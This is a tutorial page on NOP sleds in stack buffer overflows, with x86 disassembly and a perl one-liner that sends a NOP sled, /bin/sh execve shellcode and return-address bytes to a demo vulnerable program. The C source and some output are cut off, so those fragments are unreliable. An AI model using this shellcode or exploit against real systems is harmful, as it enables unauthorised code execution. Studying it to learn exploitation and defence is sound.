====== NOP Sled ======
To directly transfer control flow to our shellcode, we need to specify its address as the return address of the current function. However, guessing the exact address can be very hard, especially on remote machines without the possibility to use a debugger. Already minor system differences can lead to a different stack layout.
**Example:** Remember that ''argv[0]'' contains the execution path of the program. Starting the binary from a different directory results in a different execution path and thus a different stack layout((Jon Erickson (2008). Hacking: The Art of Exploitation
; nasm -f elf32 offset.s
global _start
_start:
mov eax, 1
mov ebx, 0
int 0x80
Disassembling the object file with ''objdump'' shows the correct result.
$ objdump -d -M intel-mnemonic correct_offset.o
correct_offset.o: file format elf32-i386
Disassembly of section .text:
00000000 <.text>:
0: b8 01 00 00 00 mov eax,0x1
5: bb 00 00 00 00 mov ebx,0x0
a: cd 80 int 0x80
It is interesting to see that the opcodes of the x86 instructions have variable lengths(([[https://www.sdsc.edu/~allans/cs141/L2.ISA.pdf|Instruction Set Architecture or "How to talk to computers if you aren't in Star Trek"]])).
To show the importance of correct instruction offsets, only the very first byte (value ''0xb8'') of the opcode is deleted.
$ objdump -d -M intel-mnemonic incorrect_offset.o
incorrect_offset.o: file format elf32-i386
Disassembly of section text:
00000000
Note that even for this tiny example with a single deleted byte the resulting code is significantly different from the original one.
What we are trying to do now is to create some kind of memory area in front of our code where we can safely redirect execution to. By definition the bytes in this area must be valid opcodes. As seen before, only one single byte of offset at the instruction address can destroy any meaning of the code. To avoid this, we need to find an instruction that is only a single byte long. Our final requirement for the instruction is to not affect any registers (except for the instruction pointer, which is naturally incremented by one after execution). The x86 instruction set provides an instruction that fulfills all our requirements - the NOP (**N**o **OP**eration) instruction. Having an opcode of ''0x90'', it is usually implemented as an alias instruction to the following code(([[https://www-ssl.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-software-developer-manual-325462.pdf|Intel® 64 and IA-32 Architectures Software Developer’s Manual]])):
xchg eax,eax
Next, we will take a look at a simple example and make use of this technique called ''NOP sled''(([[http://phrack.org/issues/49/14.html|.:: Phrack Magazine ::. - Smashing The Stack For Fun And Profit]])).
// gcc -g -O0 -m32 -no-pie -fno-pie -mpreferred-stack-boundary=2 execve.c
#include
Inspecting the code above, you will notice that the only difference to our example from the [[.basic#arbitrary_code_execution|buffer overflow introduction]] is the size of the buffer. Back then, it was of utmost importance to correctly overwrite the return address and exactly know the address to jump to. By adding a sequence of NOPs directly before the shellcode, we can loosen the second constraint. This sequence of NOPs is commonly called a "NOP sled"((Jon Erickson (2008). Hacking: The Art of Exploitation
$ ./a.out $(perl -e 'print
"\x90"x100 .
"\x83\xec\x30\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" .
"\xff\xd2\xff\xff"x4')
Buffer: 0xffffd2e4
$
\\
----
[[.basic|← Back to buffer overflow basics]] | [[..start|Overview]] | [[.external-buffers|Continue with external buffers →]] |